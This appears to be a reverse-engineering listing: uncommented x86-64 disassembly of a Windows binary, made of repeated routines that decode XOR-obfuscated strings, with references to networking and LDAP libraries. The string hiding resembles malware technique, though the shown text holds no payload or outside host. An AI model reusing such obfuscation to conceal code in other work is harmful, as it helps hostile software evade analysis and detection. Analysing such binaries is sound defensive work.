lea rcx, [rbp + 0x170]
call fcn.1400050f0
nop
mov rax, qword [0x1401ff6e8]
mov qword [rsp + 0x68], rax
cmp byte [0x1401ff6ef], 0
je 0x14001052f
cmp r13d, 2
jl 0x1400104f4
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x68]
pxor xmm2, xmm1
movd dword [rsp + 0x68], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x6c]
pxor xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
jmp 0x14001052f
lea r9, [rsp + 0x68]
mov r8d, edi
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140010500
xorps xmm0, xmm0
movups xmmword [rbp + 0x190], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1a0], xmm1
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140010550
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x190]
call fcn.1400050f0
nop
movups xmm0, xmmword [0x1401ff6f0]
movups xmmword [rbp - 0x70], xmm0
movzx eax, word [0x1401ff700]
mov word [rbp - 0x60], ax
movzx eax, byte [0x1401ff702]
mov byte [rbp - 0x5e], al
mov r8d, edi
cmp r13d, 2
jl 0x1400106d7
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movdqa xmm7, xmmword [0x1402017a0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp - 0x6c]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400105d0
cmp r8d, 0x13
jge 0x140010710
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x1400106e1
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1c0], xmm1
lea rax, [rbp - 0x70]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140010730
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x1b0]
call fcn.1400050f0
nop
movsd xmm0, qword [0x1401ff708]
movsd qword [rsp + 0x78], xmm0
mov eax, dword [str.pXYPYO_]
mov dword [rbp - 0x80], eax
movzx eax, word [0x1401ff714]
mov word [rbp - 0x7c], ax
movzx eax, byte [0x1401ff716]
mov byte [rbp - 0x7a], al
mov r8d, edi
cmp r13d, 2
jl 0x14001088f
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [0x1401ff708]
pxor xmm2, xmm1
movd dword [rsp + 0x78], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x7c]
pxor xmm2, xmm1
movd dword [rsp + 0x7c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x78]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1400108a0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1e0], xmm1
lea rax, [rsp + 0x78]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400108f0
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x1d0]
call fcn.1400050f0
nop
movsd xmm0, qword [str.gX_VG_WES9]
movsd qword [rsp + 0x68], xmm0
movzx eax, word [0x1401ff720]
mov word [rsp + 0x70], ax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x140010961
mov byte [rsp + 0x68], 0x57
xor byte [rsp + 0x69], 0x31
xor byte [rsp + 0x6a], 0x32
xor byte [rsp + 0x6b], 0x33
xor byte [rsp + 0x6c], 0x34
xor byte [rsp + 0x6d], 0x35
xor byte [rsp + 0x6e], 0x36
xor byte [rsp + 0x6f], 0x37
xor byte [rsp + 0x70], 0x38
xor byte [rsp + 0x71], 0x39
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x200], xmm1
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140010982
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x1f0]
call fcn.1400050f0
nop
mov rax, qword [str.tD_CWTF7SYWR_]
mov qword [rsp + 0x68], rax
cmp byte [0x1401ff72f], 0
je 0x140010aff
cmp r13d, 2
jl 0x140010ac6
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x68]
pxor xmm2, xmm1
movd dword [rsp + 0x68], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x6c]
pxor xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
jmp 0x140010aff
lea r9, [rsp + 0x68]
mov r8d, edi
nop
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140010ad0
xorps xmm0, xmm0
movups xmmword [rbp + 0x210], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x220], xmm1
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140010b20
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x210]
call fcn.1400050f0
nop
movsd xmm0, qword [0x1401ff730]
movsd qword [rsp + 0x68], xmm0
mov eax, dword [0x1401ff738]
mov dword [rsp + 0x70], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rsp + 0x74], al
mov r8d, edi
cmp r13d, 2
jl 0x140010c77
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [0x1401ff730]
pxor xmm2, xmm1
movd dword [rsp + 0x68], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x6c]
pxor xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140010c90
xorps xmm0, xmm0
movups xmmword [rbp + 0x230], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x240], xmm1
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140010ce0
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x230]
call fcn.1400050f0
nop
movsd xmm0, qword [str.sYWR_]
movsd qword [rsp + 0x68], xmm0
mov eax, dword [0x1401ff748]
mov dword [rsp + 0x70], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rsp + 0x74], al
mov r8d, edi
cmp r13d, 2
jl 0x140010e37
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [str.sYWR_]
pxor xmm2, xmm1
movd dword [rsp + 0x68], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x6c]
pxor xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140010e50
xorps xmm0, xmm0
movups xmmword [rbp + 0x250], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x260], xmm1
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140010ea0
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x250]
call fcn.1400050f0
nop
movsd xmm0, qword [str.SYWR_PXPQW__]
movsd qword [rsp + 0x68], xmm0
mov eax, dword [0x1401ff758]
mov dword [rsp + 0x70], eax
cmp byte [0x1401ff75b], 0
je 0x14001103f
mov r8d, edi
cmp r13d, 2
jl 0x140010ff9
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [str.SYWR_PXPQW__]
pxor xmm2, xmm1
movd dword [rsp + 0x68], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x6c]
pxor xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140011010
xorps xmm0, xmm0
movups xmmword [rbp + 0x270], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x280], xmm1
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140011060
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x270]
call fcn.1400050f0
nop
movsd xmm0, qword [str.sYWR_pXPQW__]
movsd qword [rsp + 0x68], xmm0
mov eax, dword [0x1401ff768]
mov dword [rsp + 0x70], eax
cmp byte [0x1401ff76b], 0
je 0x1400111ff
mov r8d, edi
cmp r13d, 2
jl 0x1400111b9
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [str.sYWR_pXPQW__]
pxor xmm2, xmm1
movd dword [rsp + 0x68], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x6c]
pxor xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400111d0
xorps xmm0, xmm0
movups xmmword [rbp + 0x290], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2a0], xmm1
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140011220
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x290]
call fcn.1400050f0
nop
movsd xmm0, qword [str.SYWR_]
movsd qword [rsp + 0x68], xmm0
mov eax, dword [0x1401ff778]
mov dword [rsp + 0x70], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rsp + 0x74], al
mov r8d, edi
cmp r13d, 2
jl 0x140011377
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [str.SYWR_]
pxor xmm2, xmm1
movd dword [rsp + 0x68], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x6c]
pxor xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140011390
xorps xmm0, xmm0
movups xmmword [rbp + 0x2b0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2c0], xmm1
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400113e0
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x2b0]
call fcn.1400050f0
nop
movsd xmm0, qword [str.T_FL]
movsd qword [rsp + 0x78], xmm0
mov eax, dword [0x1401ff788]
mov dword [rbp - 0x80], eax
movzx eax, word [0x1401ff78c]
mov word [rbp - 0x7c], ax
cmp byte [0x1401ff78d], 0
je 0x14001157f
mov r8d, edi
cmp r13d, 2
jl 0x140011543
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [str.T_FL]
pxor xmm2, xmm1
movd dword [rsp + 0x78], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x7c]
pxor xmm2, xmm1
movd dword [rsp + 0x7c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x78]
add r9, rax
nop
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140011550
xorps xmm0, xmm0
movups xmmword [rbp + 0x2d0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2e0], xmm1
lea rax, [rsp + 0x78]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400115a0
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x2d0]
call fcn.1400050f0
nop
movups xmm0, xmmword [str.bTTVFPXT__]
movups xmmword [rbp - 0x70], xmm0
movzx eax, word [0x1401ff7a0]
mov word [rbp - 0x60], ax
movzx eax, byte [0x1401ff7a2]
mov byte [rbp - 0x5e], al
mov r8d, edi
cmp r13d, 2
jl 0x140011727
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movdqa xmm7, xmmword [0x1402017a0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp - 0x6c]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
